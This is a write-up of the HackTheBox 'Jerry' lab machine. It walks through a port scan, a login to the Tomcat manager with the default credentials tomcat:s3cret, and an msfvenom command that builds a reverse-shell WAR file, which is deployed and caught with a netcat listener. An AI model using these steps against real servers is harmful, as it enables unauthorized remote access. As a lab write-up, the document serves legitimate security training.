---
description: Jerry writeup by Thamizhiniyan C S
---

# Jerry

## Overview

Hello everyone, In this writeup we are going to solve Jerry from HackTheBox.

Link for the machine : [https://app.hackthebox.com/machines/Jerry](https://app.hackthebox.com/machines/Jerry)

Lets Start 🙌

Connect to the HTB server by using the OpenVpn configuration file that’s generated by HTB.

\[ [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to vpn and access the boxes. ]

After connecting to the vpn service, click on Join Machine to access the machine’s ip.

After joining the machine you can see the IP Address of the target machine.

***

## Reconnaissance

### Rustscan

First start the reconnaissance by running `rustscan` on the target IP address.

Command: `rustscan -a 10.10.10.95 -- -A -T4 -v -Pn`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FQZnXgzCperceYRRI7FNb%2FUntitled.png?alt=media&#x26;token=e0e779a0-e59a-4384-934c-bcc63a4d0012" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FVbfTYwVKroWkQ4uHGa0B%2FUntitled%201.png?alt=media&#x26;token=6b141ac6-a35d-49d3-a410-3dc2c8511562" alt=""><figcaption></figcaption></figure>

### Results

From the results of `rustscan`, we can see that on port `8080`, Apache Tomcat service is running.

***

## Information Gathering - Port 8080

I visited the web server running on `http://10.10.10.95:8080/`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FXqsNf02SdAnGylIAMVqT%2FUntitled%202.png?alt=media&#x26;token=865405a0-b813-42dd-9e3f-7ef7ab42229b" alt=""><figcaption></figcaption></figure>

We can see the default home page of the Apache Tomcat server. I started exploring by clicking all the buttons and links in the home page.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FCups5QSpEinJydfIHEwg%2FUntitled%203.png?alt=media&#x26;token=16cb49ae-3e9b-42d1-990b-bf2e72cdc4b1" alt=""><figcaption></figcaption></figure>

I clicked the Manager App button and it redirected me to the following link: [http://10.10.10.95:8080/manager/html](http://10.10.10.95:8080/manager/html), which prompted me for a username and password:

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fn6riv41lnrvtZ9Kix1ou%2FUntitled%204.png?alt=media&#x26;token=5fa0251d-9bd3-4495-9d24-07cec832787e" alt=""><figcaption></figcaption></figure>

On investigating about the above URL, I found this&#x20;

{% embed url="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#default-credentials" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FHFYEIm0UTTxj7cJgSKYn%2FUntitled%205.png?alt=media&#x26;token=7de6a6c2-796f-432f-b952-d198eeeea65e" alt=""><figcaption></figcaption></figure>

***

## Enumeration - Port 8080

I tried `admin:admin` combination in the prompt and it thrown me the following error:

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FhPgKTmpjrj7k4HJq4z33%2FUntitled%206.png?alt=media&#x26;token=41112900-f89b-4b31-b6dd-6d7f171c0cbd" alt=""><figcaption></figcaption></figure>

From the above error, we can see that they have shown a example, in which they have used `tomcat:s3cret` combination. Let’s give it a try with this combination.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fi42DDr8VHFeBNfVjLpPt%2FUntitled%207.png?alt=media&#x26;token=8b65a3b6-939c-442e-8471-50c007a8e0a6" alt=""><figcaption></figcaption></figure>

It worked and we got access to the Application Manager.

Further surfing the Application Manager, we can see that there is an option to upload files of type WAR.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FdaqvfoyBbB1ICPHRSeVR%2FUntitled%208.png?alt=media&#x26;token=e7949383-e21f-4f1d-9157-7aca0acb541a" alt=""><figcaption></figcaption></figure>

***

## Initial Access

We can generate a `msfvenom` reverse shell and upload it as mentioned here:&#x20;

{% embed url="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#msfvenom-reverse-shell" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FGFlLrqbLVtCImO79bdMj%2FUntitled%209.png?alt=media&#x26;token=a9aec19a-c42a-4ee5-b5d2-1e8ba10af656" alt=""><figcaption></figcaption></figure>

Generate the Reverse Shell using the following command:

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<HTB_tun_IP> LPORT=8888 -f war -o revshell.war`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FhPLq6FlhD2nSsTIV5W6X%2FUntitled%2010.png?alt=media&#x26;token=a247ea21-e64b-4fc6-88ef-9c8a364a899a" alt=""><figcaption></figcaption></figure>

Now upload this `revshell.war` file and click deploy.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FHcci6nLTcRRbPi6W6OKy%2FUntitled%2011.png?alt=media&#x26;token=9cd33a68-565b-494a-8a4e-99c2bdc3a817" alt=""><figcaption></figcaption></figure>

Now if we check the Applications table, we can see that a new path `/revshell` is generated.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FqQ0TwtyxawooqPpt4t8w%2FUntitled%2012.png?alt=media&#x26;token=3c64f4d0-090c-4474-bbd5-8b0e2587c30d" alt=""><figcaption></figcaption></figure>

Before clicking or viewing the `/revshell` link, start a `netcat` listener on your attack box / local machine on port `8888`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FlNZVdmUhktDKnRY9yvx6%2FUntitled%2013.png?alt=media&#x26;token=2732eb1c-6a55-4fd2-85c5-585442439d7b" alt=""><figcaption></figcaption></figure>

Now click the `/revshell` and check the `netcat` listener.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FbufZZoroCF11zMswqnjZ%2FUntitled%2014.png?alt=media&#x26;token=8321750c-9348-44ee-bdb1-d411b2805f31" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FIfRkSRyCfE8n3PwZam1S%2FUntitled%2015.png?alt=media&#x26;token=a61b0093-f52c-460d-abe9-4aeea60ca7d5" alt=""><figcaption></figcaption></figure>

We have successfully got access to the target machine.

***

## Getting the Flags

Now we have to look out for the flags. I started surfing the machine. I visited the `C:\Users` directory and found the following users:

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FnItZSZewPygGi88t5FEb%2FUntitled%2016.png?alt=media&#x26;token=c7ea1a49-2f19-4581-94cd-f07d503bb4d5" alt=""><figcaption></figcaption></figure>

I checked the Administrator directory. In the Desktop folder of Administrator found the `flags` directory.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FATwnmtcJL72Avo4xJlhV%2FUntitled%2017.png?alt=media&#x26;token=ba578204-0b5a-4c3a-8445-4be00c30e896" alt=""><figcaption></figcaption></figure>

The flags directory had a file named `2 for the price of 1.txt`.

You can view the contents of the `2 for the price of 1.txt` file using the command: `more "2 for the price of 1.txt"`

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FB9LGvq1kCzo3SvqMD2oH%2FUntitled%2018.png?alt=media&#x26;token=b82f8277-9fa1-4df4-8331-7baa48f7edce" alt=""><figcaption></figcaption></figure>

We have successfully found both the user and root flags.

Thank You !!!!!!!
